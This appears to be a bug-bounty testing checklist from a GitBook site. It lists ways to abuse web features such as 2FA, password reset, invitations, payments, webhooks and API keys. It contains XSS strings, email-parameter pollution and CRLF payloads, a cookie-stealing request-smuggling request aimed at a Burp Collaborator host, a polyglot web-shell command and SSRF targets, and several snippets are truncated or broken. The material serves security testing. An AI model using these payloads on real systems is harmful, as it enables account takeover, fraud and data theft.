> For the complete documentation index, see [llms.txt](https://sec88.0x88.online/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sec88.0x88.online/methodologies-checklists/features-abuse-checklist.md).
# Features Abuse CheckList
### 2FA Setup
2FA Secret is not rotated " %}
2FA Secret Remains Obtainable After 2FA is Enabled
*
2FA Setup Logic Flaw via Response Manipulation
Old session does not expire after setup 2FA " %}
Enable 2FA without verifying the email " %}
IDOR Leads To ATO " %}
### 2FA Bypass
2FA Code is Not Updated After New Code is Requested " %}
Old 2FA Code is Not Invalidated After New Code is Generated " %}
{% embed url="" %}
{% embed url="" %}
2FA Code Leakage in Response " %}
Lack of Rate-Limit Protection " %}
{% embed url="" %}
***
**Lack of rate limit in the user's account when logged in**
Sometimes you can configure the 2FA for some actions inside your account (change mail, password...).\
However, even in cases where there is a rate limit when you tried to log in, there isn't any rate limit to protect actions inside the account.
Missing 2FA Code Integrity Validation
Null And Default Codes Attack Attack
2FA Referrer Check Bypass | Direct Request
Misconfiguration of Session permissions
Changing the 2FA mode Leads to Bypass the code " %}
Bypass Using OAUTH " %}
Random timeout issue on a Two-Step Verification endpoint " %}
Remove the part of the cookie that is responsible for 2FA authentication " %}
### Disable 2FA
Lack of Rate-Limit in Disable 2FA Feature " %}
Disable 2FA via CSRF (Leads to 2FA Bypass) " %}
{% embed url="" %}
{% embed url="" %}
Password Reset/Email Check → Disable 2FA " %}
Logic Bug Disable 2FA also Paste the header here.
5. add a body request like this method=sms\&phone=%2B62-hacker-phone-number then click GO
6. Bypassed !
{% embed url="" %}
Backup Code Abuse " %}
{% embed url="" %}
Password not checked when 2FA Disable " %}
Clickjacking on 2FA Disabling Page
### File-Upload
Payloads
Content type
Content length Bypass
Impact/Exploitation by extension
File name Tests .svg`
Image-Tragic " %}
Web shell upload via extension blacklist bypass
Remote code execution via polyglot web shell upload " %}
```php
exiftool.exe -Comment="" download.png -o polyglot.php
```
EXIF-DATA not Stripped
2. There are lot of images having resolutions (i.e 1280 \* 720 ) , and also whith different MB’s .\\
3. Go to Upload option on the website\\
4. Upload the image\\
5. see the path of uploaded image ( Either by right click on image then copy image address OR right click, inspect the image, the URL will come in the inspect , edit it as html )
6. open it ()
7. See whether is that still showing exif data , if it is then Report it. **Reports (Hackerone)**
8. IDOR with Geolocation data not stripped from images
{% embed url="" %}
File Upload Exploitations
```
* **Open Redirect when uploading svg files**
```xml
```
Inbound Interactions (Active User → Banned User)
Outbound Interactions (Banned User → Application)
Unauthenticated Feature Access
Data Privacy & Leakage
### Registration
Throw Way Email Services Used for SignUps
* [ ]
* [ ]
* [ ]
Username/Email Enumeration
SQLI in Email Field
XSS/HTML Injection in username/email for registration "@x.y
">”@x.y
"hello"@gmail.com
["');alert('XSS');//"]@xyz.xxx
""@gmail.com
">
Rate Limit Issues
Weak Password Policy
Path Overwrite " %}
DOS at Name/Password field in Signup Page " %}
{% embed url="" %}
{% embed url="" %}
### Email/OTP Verification
Email Verification Bypass Leads to PrivEsc and signup a free trial with an email address, say `attacker@gmail.com` that you can receive emails after entering the fields to enter the store, on top right corner, click your name and go to Your Profile
* Change your email to someone that you want to takeover, for example `yaworsk@hackerone.com` and click save All done now, grab a coffee, sit back and relax, watch some YouTube videos and wait for an email to go to your email `attacker@gmail.com` The email that you are waiting for is from `mailer@shopify.com`, and sent to the old email
* Click the link and you should see your email has been updated to
Email Verification link Doesn't Expire After Email Change Leads to Delete User Account .
9. Unaware of the attacker's actions, the victim clicks on the update email link and updates their email address to `attacker@gmail.com` ( Remember! attacker have non access to Gmail account `attacker@gmail.com` he only have the confirm link)
10. When the victim attempts to log in, they realize that the newly created account by the attacker in step 8 has overwritten their original account.
11. The victim tries to recover their account by requesting a password reset, but they can only access the newly created account by the attacker and are unable to regain access to their original account.
Email Verification Bypass using OAUTH " %}
Verification link leaked in the response using email signup
2. Check the response from the server for leaked verification link
Bypass via Response Manipulation " and request for the sign up.
2. In the second step, choose either you want to register as an academic coach or need an academic coach.
3. In the third step, enter your email and create a password.
4. In the fourth step, enter name and mobile phone, then sign up.
5. Then request for verification code on email.
6. Enter wrong verification code and intercept request using Burp suite.
7. After intercepting the request, I changed the status from "False" to "True". `{"status":false to "status":true}`
8. Boom!! Verification code bypassed.
9. Finally, the account was created with the wrong verification code.
{% embed url="" %}
Ability to bypass partner email confirmation to take over any store given an employee email " %}
Rate Limit Issues " %}
Broken Authentication To Email Verification Bypass
ATO from manipulating the email Parameter
Bypassing OTP in registration forms by repeating the form submission multiple times using repeater
OTP Bypass in JSON
More test cases for bypassing OTP
Duplicate Registration " %}
{% embed url="" %}
{% embed url="
4. Just manipulate the email with your email and the email will verified
5. Now login to the normal account as shown I received the JWT normally
6. After create an account customize the email, so the email will be like: `MAybeeEE@GmaiL.coM`, looks like camel case
7. As shown below I able to register the customized email as an another email
8. After the email created I have the ability to bypass the verify as shown above
9. URL will be like:
10. The user will verified
11. Here the two users has signed
12. The user will received authentication successful but will never receives JWT because the customized email will conflicts with the old email in DB
{% embed url="" %}
### Inviting Feature
Token Leaked In Response
Failure to invalidate token
Second admin can deactive 2FA for first admin without password
IDOR in email parameter when sign up using invitation feature
API Misconfiguration Leads to PrevEsc
Signup without accept invitation
2. Disregard Invite, directly signup.
3. becomes part of the organisation.
4. Victim organisation dashboard still shows that hasn’t accepted the invitation sent to email.
5. But in real time remains part of the organisation anonymously.
Logic Error Leads to Project Takeover
Injection
BAC
Sign_up without accepting the invitation the attacker join organization anonymously
Race Conditions
Race Condition on Invitation Sending Request " %}
**Race Condition → Role Escalation (Viewer → Admin)**
* [ ] Log in as an **Admin** account
* [ ] Go to the invite user flow and capture the `POST /api/brands/users/invite/` request in Burp
* [ ] Duplicate the request into **2 tabs** in Burp Repeater
* [ ] Set `role: viewer` in Request A
* [ ] Set `role: admin` in Request B
* [ ] Select both tabs → send as **single-packet concurrent requests** (Burp's "Send group in parallel")
* [ ] Check the **target email inbox** — confirm **2 separate invite links** arrived
* [ ] Accept the **Viewer** invite → verify account is locked as Viewer
* [ ] While still logged in, open the **Admin** invite link
* [ ] Confirm the account is now **Admin** despite role immutability
***
**Bonus Variant — Ghost Admin (UI shows Viewer, backend is Admin)**
* [ ] Repeat the race condition steps above to generate both invite links
* [ ] Accept the **Admin** invite first
* [ ] Then accept the **Viewer** invite
* [ ] Check UI → account appears as **Viewer**
* [ ] Perform an **Admin-only action** via API → confirm it succeeds
* [ ] Document the mismatch: UI = Viewer, backend = Admin
U+3164 Hangul Filler
### Messaging Features
Injection h1>ester0x88< /h1>
0x88"><change password
Markup Injection " %}
1. Go to
IDOR
Improper Session Validation After Logout
Privilege Escalation
Data Leakage in API Responses
Unauthenticated Access to APIs
File Upload Issues
Leaked Sensitive Information in Email Notifications
Rate Limit Issues
BAC
CSRF
Improper Input Validation
### Money-Related Features
{% embed url="" %}
Refund Feature Abuse
Cart/Wish list Abuse
IDOR in Order Number .pdf
https://example.com/pdf/10425128.pdf
```
Leaking Credit Card Details in Responses
Previously made orders with victim's email leading to Order History and PII leaks
Bypass Transfer Money Limit
Borrow Money Without Return
Discount/Gifts Flaws
* [ ] Race Condition -->
{% code overflow="wrap" %}
```
POC:
- Visit your account and select 'Promo Codes'.
- Select redeem promo code, and add any promo code. For example, I found the code 'dallas20'.
- Intercept the request using a proxy, and make the request multiple times, asynchronously.
- The code will be redeemed multiple times.
```
{% endcode %}
* [ ] **Race Condition allows to redeem multiple times gift cards which leads to free "money"**
* [ ] [**Race conditions can be used to bypass invitation limit**](https://hackerone.com/reports/115007)
{% embed url="" %}
* [ ] Try Mass Assignment or **HTTP Parameter Pollution** to see if you can add multiple coupon codes while the application only accepts one code from the Client Side.
* [ ] Try performing attacks that are caused by missing input sanitization such as **XSS, SQLi**, etc. on this field
* [ ] Try adding discount codes on the products which **are not covered under discounted** items by tampering with the request on the server-side.
Buy Products at lower price
IDOR in Change Price
Currency Arbitrage
Delivery Charges Abuse
Rate Limit Issues
IDOR Leads to Access Other Users Attachments
Attachments Links Can Be Accessed After Form Submissions
Injection Attacks hello hacker xxxx abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaacxcccc
```
{% endcode %}
* [ ] IMG injection
{% code overflow="wrap" %}
```html
"/>login
```
{% endcode %}
### Change Email
Domain-Based Authorization Hijacking ).
2. You'll likely receive an email confirmation link on your attacker-controlled email (Do not verify it yet).
* Now, change your email to the unregistered email or domain you wish to HIJACK (e.g., ).
* This action will send an email verification link to , which you don't have access to.
* Try clicking on the "Email" verification link sent earlier to . If the system fails to revoke the previous email verification link,
* the link for could end up verifying the email for , allowing you to claim it as verified.
1. Once you've claimed an email associated with another organization's domain, identify the associated functions to prove impact and report it to earn some generous bounties
Improper Integrity Leads to ATO " %}
1. An attacker links `attacker@website.com` to their account.
2. An attacker sends a email-change confirmation link to a victim.
3. A victim follows the link from an email while logged into an application.
4. An application links `attacker@website.com` to a victim.
Improper Session Validation
Misconfiguration Between Email Change and Registration Features
ATO by changing the email to existing account
Email-Change Confirmation Workflow and OAUTH misconfiguration
2. Link will be sent to , now the user realizes that he have lost access to due to some reasons
3. Change mail to the another mail address for e.g which he owns and has access to
4. Even after verifying , the old link which was sent to is active, so user/attacker having access to that mail can verify it and Observe the OAuth misconfiguration that leads to account takeover
XSS/HTML Injection
Lack of password confirmation when email change
IDOR to ATO
### Reset Password
Host Header Poisoning
{% embed url="" %}
{% code overflow="wrap" %}
```matlab
victim.com@attacker.com
```
{% endcode %}
IDN Homograph Attack leads to ATO
{% embed url="" %}
Password reset with manipulating email parameter (BAC)
{% code overflow="wrap" %}
```http
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
#No domain:
email=victim
#No TLD (Top Level Domain):
email=victim@xyz
#change param case
email=victim@mail.com&Email=attacker@mail.com
email@email.com,victim@hack.secry
email@email“,”victim@hack.secry
email@email.com:victim@hack.secry
email@email.com%0d%0avictim@hack.secry
%0d%0avictim@hack.secry
%0avictim@hack.secry
victim@hack.secry%0d%0a
victim@hack.secry%0a
victim@hack.secry%0d
victim@hack.secry%00
victim@hack.secry{{}}
```
{% endcode %}
Response Manipulation to ATO
1. Do Normal Reset Password Process and note the successful response
2. Request for reset password token
3. enter 00000 or any random number
4. Intercept the response
5. delete error message and change the status code to 200 and change body like what you noted in step
IDOR to ATO
IDOR on Reset Password\
The last one was also an Basic IDOR, When I requested for reset password then the request response looks like this
Race Condition
{% embed url="" %}
Weak Password Reset Token
* [ ] Completely remove the token
* [ ] change it to `00000000`...
* [ ] use `null/nil` value
* [ ] try expired token
* [ ] try an array of old tokens
* [ ] look for race conditions
* [ ] change 1 char at the begin/end to see if the token is evaluated
* [ ] use unicode char jutzu to spoof email address
* [ ] [Bruteforcing password reset tokens](https://hackerone.com/reports/271533)
> The password reset token should be randomly generated and unique every time.\
> Try to determine if the token expire or if it’s always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
* [ ] Timestamp
* [ ] UserID
* [ ] Email of User
* [ ] Firstname and Lastname
* [ ] Date of Birth
* [ ] Cryptography
* [ ] Number only
* [ ] Small token sequence ( characters between \[A-Z,a-z,0-9])
* [ ] Token reuse
* [ ] Token expiration date
{% embed url="" %}
No length on password Leads to DOS
{% embed url="" %}
Injection Attacks in email section
[#xss-html-injection](#xss-html-injection "mention")
Rate Limit Issues
{% embed url="" %}
Enumeration of username on password reset page
{% embed url="" %}
Password reset token leaked via Referer header
* [ ] Request password reset to your email address
* [ ] Click on the password reset link
* [ ] Don't change password
* [ ] Click any 3rd party websites(eg: Facebook, twitter)
* [ ] Intercept the request in burp-suite proxy
* [ ] Check if the referer header is leaking password reset token. Reference:
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
Impact It allows the person who has control of particular site to change the user’s password (CSRF attack), because this person knows reset password token of the user.
HTML Injection on password reset page
{% embed url="" %}
1. Create your account
2. Edit your name to `attacker ` or `"abc>attacker ` and save it.
3. Request for a reset password and check your email.
4. You will notice the `
Password Policy Restriction Bypass
{% embed url="" %}
Token Invalidation Issues
* [ ] Token is Not Invalidated After Email Change/Password Change
{% embed url="" %}
* [ ] Failure to Invalidate Session > On Password Reset
{% embed url="" %}
* [ ] Token is Not Invalidated After Use
* [ ] Token Has Long Timed Expiry
* [ ] Token is Not Invalidated After New Token is Requested
* [ ] Token is Not Invalidated After Login
Reset Password via Username ? Try Making two accounts same username but different emails
{% embed url="" %}
CRLF
with CLRF: `/resetPassword?0a%0dHost:atracker.tld` (x-host, true-client-ip, x-forwarded...)
Account Takeover Via HTTP Request Smuggling
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
{% code overflow="wrap" %}
```bash
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -h
```
{% endcode %}
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
3. `GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies
4. Final request could look like the following
{% code overflow="wrap" %}
```http
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
{% endcode %}
Hackerone reports exploiting this bug
{% embed url="" %}
{% embed url="" %}
### Change Password
Missing rate limit in current password " %}
**Steps To Reproduce:**
1. Login to to your burpsuite intruder to bruteforce
7. Add the payload to the `current_password` parameter
8. select list of passwords for like 100 lines and start attack
Password change is confirmed when not matching " %}
1. Open your wallet.
2. Go to settings.
3. Change wallet password.
4. Enter old password.
5. You now have prompt with two passwords.
6. Enter your new password in the first line.
7. Leaving confirmation blank press enter.
8. Password is changed successfully without confirmation.
CSRF " %}
[CSRF](/web-appsec/csrf.md)
Misconfiguration (IDOR)in Change-password Functionality " %}
User Account Takeover " %}
### Reproduction steps:
Abused 2FA to maintain persistence after a password change " %}
* [ ] **Step 1: Initiate Login (Attacker)** In Browser A, enter the account's username and current password.
* [ ] **Step 2: Hold at 2FA Prompt (Attacker)** When prompted for the 2FA code, do **not** enter it. Leave this tab open and idle.
* [ ] **Step 3: Simulate Account Recovery (Victim)** In Browser B, log into the account (or use the forgot password flow).
* [ ] **Step 4: Change Password & Disable 2FA (Victim)**\
Change the account password. This *should* terminate all active and pending sessions. For maximum impact, completely disable 2FA on the account as well.
* [ ] **Step 5: Test Session Timeout Bypass (Attacker - Optional)**\
Wait 20-30 minutes. If the 2FA page has a timeout, try to refresh the session token by clicking options like "Try another way" and then re-selecting the 2FA app/SMS method.
* [ ] **Step 6: Execute the Login (Attacker)** Back in Browser A, input a valid 2FA code (generated from the authenticator app or SMS) and hit enter.
* [ ] **Step 7: Verify Impact** Observe if Browser A successfully authenticates and logs into the account. If successful, you have bypassed the password reset and 2FA disablement security controls.
Old session dose not expire after password change " %}
**STEPS TO REPRODUCE:**
1. create account in
Response Manipulation
### Change User Name
Path Overwrite " %}
Injection Bugs
BOPLA: Broken Object Property Level Authorization "
3. You can enter any person's email without authentication
4. The account email has been changed to the email written above
5. I logged in again to the site, but from a second browser via Google (test@gmail.com), I was rejected, and I got a Forbidden access
6. I tried to reset the password I was banned from entering my account permanently.
--------------------------------------------------------------------------
```
### Change Phone Numbers
Direct API Reuse (The GraphQL/REST Bypass)
Parameter Pollution
Test GraphQL field injection
Verification & State Flaws
Check For OLD Mutations
Replay Attacks
### Account Deletion
Lack of Password/Re-Authentication Confirmation
Cross-Site Request Forgery (CSRF) to Delete Account
CORS misconfiguration
IDOR (Insecure Direct Object Reference) in Deletion
Logical Flaws & Residual Data
Previously Generated API Keys Still Usable after deleting the account
### Logout Feature
Server-Side Session Invalidation (The Replay Attack)
Cross-Site Request Forgery (CSRF) on Logout
Browser cache back-button exposure
### Account Linking
Response & Status Manipulation (Client-Side Trust)
Cross-Account OAuth State Pre-Authentication (The Linking ATO)
Identity Provider (IdP) Email Misalignment
Race Conditions & Parameter Pollution
### Social Media Links
Unsafe handle of social media links on profile " %}
Change Username to Restricted PATH to Bypass Access Control to IDOR " %}
### Commenting
DOM Clobbering
Which is interpreted in the browser as follows:
\\/images/lubeck_small.jpg\\[/img]
We have now effectively clobbered the DOM in the web application, which may
result in the breakdown of functionality and in some cases cause the browser to
become unresponsive
```
Markup Language? try Create A picture that steals Data
IDOR to Read any other's comments
Race Condition
Privilege Escalation
Thread Comment Functionality Testing
### CAPTCHA
CAPTCHA Bypass
* Online Services to bypass captchas Capsolver
### Newsletter
IDOR
Excessive Data Exposure
CSRF
Injection
Unverified User Can Post Newsletter " %}
1. Sign up for an account on Linkedin
2. Without verifying the email, jump directly to the URL : `https://www.linkedin.com/post/new/` to write an article
3. It can be seen that there is no option to create a Newsletter.
4. Now Login into the account where the Email is verified and try to create a newsletter.
5. Click on Done and capture the vulnerable request and replay the request with the unverified user cookies. and the newsletter will be successfully created.
BAC by Filling the form with other's email " %}
The mentioned URL contains a form that, when supplied correct user emails, unsubscribes users from the newsletters they're subscribed to. If the user is not subscribed, the form returns a message that says that the user is not subscribed if this is the case.
No Rate Limit " %}
> The lack of a captcah or verificationcodeX (it's empty) in your phplist configuration allows attackers to use this mail for to send as much spam as they like to victims. I did not reach an email sending limit when I had tested this.
* [ ] No Captcha or Rate Limit Leads to Email Spam
Host header injection/redirection via newsletter signup " %}
> There's a host header injection vulnerability via all newsletter signups in the referrer attribute. This works with all pages that have "Join our email list" signup boxes.
>
> **Since the referrer attribute can be changed to an outside domain the email being received redirects all links within the "Welcome to Starbucks" email. So in result the member is redirected to a malicious site from the email they used.**
### Product Review
Bypass "Verified Purchase" status
Analyze the request payload when submitting a review. Look for boolean flags or attributes such as `"is_verified": false`, `"purchased": false`, or `"status": "unverified"`.
Flip them to `true` or `"verified"` to see if your review receives the trusted badge without an actual purchase.
Out-of-bounds ratings (Scale manipulation)
Locate the numerical rating parameter (e.g., "rating": 5 or score=5). Attempt to pass values outside the intended 1–5 scale, such as 6, 0, -1, or extreme numbers like 99999 and -99999. Check if this breaks the global score calculation or causes database/UI rendering errors.
Review impersonation (IDOR)
Test if you can submit a review under another user's identity by tampering with parameters like user\_id, author\_id, or username inside the review creation payload.
Duplicate review submission
Attempt to post multiple reviews or ratings for a single product from the same account if the UI restricts you to only one.
Race condition on rating aggregation
Intercept the rating submission request and send multiple concurrent requests simultaneously using a single-use connection pool (e.g., Burp Suite's Turbo Intruder). Check if the application increments the total rating counter multiple times or skews the product's average rating logic unfairly.
CSRF on review posting
Check if the submission endpoint (POST /api/reviews) lacks anti-CSRF tokens or strict SameSite cookie protections. If vulnerable, an attacker could force authenticated victims to silently post spam reviews or malicious links.
Arbitrary file extension upload
If the review allows attaching photos or videos, try bypassing client-side validation to upload unauthorized extensions (e.g., .php, .jsp, .html, .svg, or .exe).
Content-Type & Magic Byte spoofing
Intercept the image upload request and change the Content-Type header (e.g., from image/jpeg to text/html) or append a malicious payload behind authentic image magic bytes to test for stored Cross-Site Scripting (XSS) or Remote Code Execution (RCE).
Client-side trust in price calculations
Inspect final state generation or quotation requests (like the /prepare\_offer endpoint) sent just before payment or signing. Look for fields calculated dynamically on the frontend, such as:
```json
{
"customer_name": "John Doe",
"yearly_rate": "3644",
"is_young": false
}
```
Parameter alteration
Manually decrease numerical value parameters like `yearly_rate`, `total_price`, or `amount_due` to a lower value (e.g., "1") or a negative value to verify if the server signs and processes the updated offer blindly.
State flag tampering
Toggle risk-assessment parameters directly inside the request payload—such as changing `"is_young": true` to `false` or `"high_risk": true` to `false`—to artificially unlock lower premium rates or discounts
### Rich Editor
Tag & Bracket Evasion (Structural Deficiencies)
* [ ] **Malformed structural tags:** Test how the parser deals with unclosed or incorrectly nested tags that attempt to break out of paragraphs or divs:
```html
<iframe src=javascript:alert()//
<script>alert(1)
```
* [ ] **Unknown/Custom HTML tags:** Introduce modern or custom HTML tags (e.g., ``) to see if the sanitization filter only checks a strict blocklist of standard dangerous tags like `
```
### Social Sharing
HTTP Parameter Pollution (HPP) & Link Hijacking
* [ ] **Parameter appending:** Locate a blog, article, or product page that contains social share buttons (Facebook, X/Twitter, LinkedIn, WhatsApp). Append URL parameters directly to the target page's URL to see if they are blindly passed into the share button's destination URL:
{% code overflow="wrap" %}
```http
https://target.com/blog-post?&u=https://attacker.com&text=Check+this+out:https://attacker.com
```
{% endcode %}
* [ ] **Duplicate parameter injection:** Supply duplicate parameters that match the internal sharing script names (e.g., `url`, `u`, `share_url`, `link`, `text`, `via`). Test how the backend parses them (e.g., whether it picks the first instance, the last instance, or concatenates them):
```http
https://target.com/share?url=https://target.com/valid&url=https://attacker.com
```
* [ ] **Override share metrics:** Check if you can pollute metadata parameters like `title`, `description`, `image`, or `thumbnail` to manipulate what appears in the preview card generated on social media platforms.
Open Redirect via Share Redirection Endpoints
* [ ] **Internal redirect wrapper manipulation:** Many applications use an internal tracking or routing endpoint before redirecting the user to the third-party social network (e.g., `https://target.com/redirect?to=facebook&url=...`). Test if you can change the `url` parameter to an external malicious domain to achieve a classic Open Redirect.
* [ ] **Path traversal inside share parameters:** Try using relative paths or directory traversal vectors inside the share URL parameter to see if you can force the internal share router to navigate to sensitive internal endpoints:
```http
https://target.com/share?url=/../../logout
```
JavaScript/DOM-Based Parameter Extraction
* [ ] **DOM parameter mining:** Inspect the page's client-side JavaScript. If the share buttons use `window.location.href` or `document.URL` dynamically to construct the share link, try injecting URL-encoded characters, hash fragments (`#`), or quotes to test for DOM-based Cross-Site Scripting (DOM XSS):
```http
https://target.com/post?utm_source=">
```
* [ ] **Hash character handling:** Test if appending an execution string or an alternate URL after a hash sign (`#`) gets parsed by the sharing script:
```http
https://target.com/post#url=https://attacker.com
```
Meta Tag Manipulation (SEO / Social Spoofing)
* [ ] **Open Graph (OG) & Twitter Card injection:** If the application generates custom share links based on user input on the page (e.g., a custom quiz result page or dashboard share link), check if your input reflects inside the `
### Addresses Management
IDOR: Cross-user creation (user_id injection)
* [ ] When saving a new billing or shipping address (`POST /api/addresses`), check if the payload contains an explicit ownership parameter such as `"user_id": 102`, `"account_num": "X"`, or `"customer_uuid"`. Swap your ID with a victim's ID to see if the address gets forcefully attached to their profile.
CSRF on address addition
* [ ] Inspect whether the address submission form uses anti-CSRF tokens. If missing or poorly validated, build a proof-of-concept (PoC) form that automatically submits a pre-filled address. If a victim visits your page, your attacker address gets added to their checkout options.
[#csrf](#csrf "mention")
IDOR in Editing & Deleting Addresses
* [ ] **Identifier substitution on update:** When modifying an existing address (`PUT /api/addresses/4451`), change the address ID in the URI path or the JSON body to a target address ID belonging to another user. Check if the modifications save successfully.
* [ ] **Identifier substitution on deletion:** Send a `DELETE` or `POST` request to the deletion endpoint (e.g., `/address/delete?id=4451`) using a victim's address ID. Look for a `200 OK` or `{"success": true}` response indicating the resource was deleted without verifying ownership.
* [ ] **Numeric vs. Non-numeric ID types:** If the application uses secure hashes or UUIDs for addresses, hunt for public endpoints (like invoices, order histories, or public profile details) where those specific address identifiers might leak.
Chained CSRF+IDOR to delete another user's address
If an endpoint is vulnerable to IDOR (lacks server-side authorization checks) *and* lacks anti-CSRF tokens, you can execute a zero-click attack:
1. Craft an exploit payload containing a victim's specific address ID.
2. Deliver the payload to the victim via a hidden HTML form or fetch script.
3. When the victim browser renders the page, it silently triggers the IDOR deletion using *their* active session state.
Chained CSRF+IDOR to edit another user's address
Identify an address edit endpoint missing both authorization tokens and state ownership validation. Deliver a CSRF script that updates a victim's billing address to an address controlled by the attacker.
Poisoning active checkout sessions
* [ ] If you successfully chain an IDOR/CSRF to edit a victim's billing address, check if the change dynamically updates an *already active* or open shopping cart checkout session. This can lead to financial profile mixing or rerouted shipments.
Response manipulation for default address selection
* [ ] Test if altering the server response properties—such as changing `"is_default": false` to `true`—forces the application UI to set an unauthorized address as the primary target for future billing transactions.
### Integrations - Webhook
SSRF in webhook simulation/testing features
* [ ] Look for "Test Webhook" or "Ping" buttons where the server sends a mock payload to a user-supplied URL. Try entering internal IP addresses (e.g., `http://127.0.0.1:80`, `http://169.254.169.254/latest/meta-data/` for cloud metadata endpoints) or local hostnames to map out internal infrastructure.
IDOR when editing webhook
* [ ] Intercept the update request (`PUT /api/webhooks/7712`). Change the webhook identifier to a target ID belonging to another project or organization to see if you can modify their webhook endpoint URL or secret token.
IDOR deleting webhook
* [ ] Send a deletion request (`DELETE /api/webhooks/7712`) using a victim's webhook identifier to verify if the server checks organizational boundary permissions before tearing down the resource.
CSRF in integration OAuth flows
* [ ] Initiate a third-party application connection (e.g., "Connect to Slack" or "Connect to Jira"). Intercept the final authorization callback request (`GET /auth/callback?code=AUTH_CODE&state=...`). Drop the request in your browser and strip out or reuse the `state` parameter. If you can force a victim to visit that callback URL and it links *your* third-party workspace to *their* platform account, the flow is vulnerable to OAuth CSRF.
Open Redirect via redirect_uri tampering
* [ ] When hitting the initial login or integration authorization endpoint (e.g., linking Google Calendar), locate the `redirect_uri` parameter. Attempt to modify its value to an external domain:
```http
GET /oauth/authorize?client_id=123&redirect_uri=https://attacker.com
```
If the authorization server redirects the user (and potentially leaks an authorization code or access token via referrer headers or URL fragments) to the external site, it is a critical validation failure.
Parameter pollution / Path traversal in OAuth routing
* [ ] Test if you can bypass strict whitelist matching on the `redirect_uri` by appending path traversal sequences or using parameter pollution:
```http
redirect_uri=https://target.com/oauth/callback/../../attacker-domain
```
Cross-Site Request Forgery (CSRF) in Webhook Setup
* [ ] **Unauthorized webhook insertion:** Check if the form used to register a new webhook destination (`POST /api/projects/15/webhooks`) lacks anti-CSRF token verification.
* [ ] **Exploitation via cross-site forms:** Build a silent HTML form payload that automatically targets the project’s webhook endpoint with an attacker-controlled listener URL (e.g., an Interactsh or Webhook.site address). If a project administrator visits your page, your webhook is silently added to their project, allowing you to intercept all future internal event logs, system updates, or PII transmitted by that webhook.
Webhook secret token exposure
* [ ] Verify if editing or viewing an existing webhook exposes the full authentication secret token or signature key in plain text within the API response body. Secure applications should mask these values (e.g., `sha256...xxxx`) after the initial creation phase.
* [ ] **Replay attack testing:** Capture a legitimate webhook event payload sent by the server. Attempt to replay it against the receiving endpoint multiple times without updating the timestamp or cryptographic signature headers to see if the implementation lacks replay protection metrics.
### API Key Management Feature
Authorization & IDOR Boundaries
* [ ] **Workspace/Organization ID substitution:** When requesting a list of API keys (`GET /api/v1/workspaces/109/apikeys`), change the workspace identifier to an unauthorized ID to see if you can leak the API keys or tokens of another organization.
* [ ] **Direct object reference on modification:** Intercept the request to update an API key's description or permissions (`PUT /api/v1/apikeys/7743`). Swap the key ID with one belonging to a different user or workspace.
* [ ] **Direct object reference on deletion:** Try sending a `DELETE` request directly to the API key resource endpoint (`DELETE /api/v1/apikeys/7743`) belonging to a victim to see if ownership validation is missing.
Cross-Site Request Forgery (CSRF)
* [ ] **1-Click API key deletion:** Inspect the deletion routine. If it lacks anti-CSRF tokens or depends on weak cookie configurations, craft an exploit payload that executes a background `POST`/`DELETE` request to delete a victim's API keys when they visit your site.
* [ ] **1-Click API key generation:** Test if an attacker can force a victim's browser to generate a new API key and look for ways the token might be exfiltrated (e.g., via a chained cross-origin tracking vulnerability or predictable creation sequences).
Vertical Privilege Escalation (RBAC Flaws)
* [ ] **Scoping restrictions:** Check if a lower-privileged user can generate an API key that inherits maximum administrative scopes (`Full Access` / `Root`) that their own user account does not possess.
* [ ] **Low-privileged role boundary testing:** Authenticate as a low-privileged user (e.g., Guest, Viewer, Member) within an organization. Attempt to read, create, edit, or delete API keys that should be restricted strictly to Owners or Administrators.
Key retention after role downgrade
* [ ] Follow this logic flow to check for token persistence bugs:
1. Create an API key while authenticated with an **Admin/Owner** account.
2. Have a separate administrator downgrade your account to a standard **Member** or **Guest** role.
3. Attempt to make administrative API calls using the old key you generated. If the key still executes administrative functions, the backend fails to dynamically sync key permissions with the creator's current role state.
Key retention after member removal
Generate an API key, then completely remove that user account from the workspace or organization. Test if the API key remains functional on the platform despite its creator no longer being a part of the workspace.
Revocation propagation delay
Delete an API key in the UI and immediately use it in an automated script. Check if there is a dangerous propagation delay or caching window where the deleted key remains active for minutes or hours.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://sec88.0x88.online/methodologies-checklists/features-abuse-checklist.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.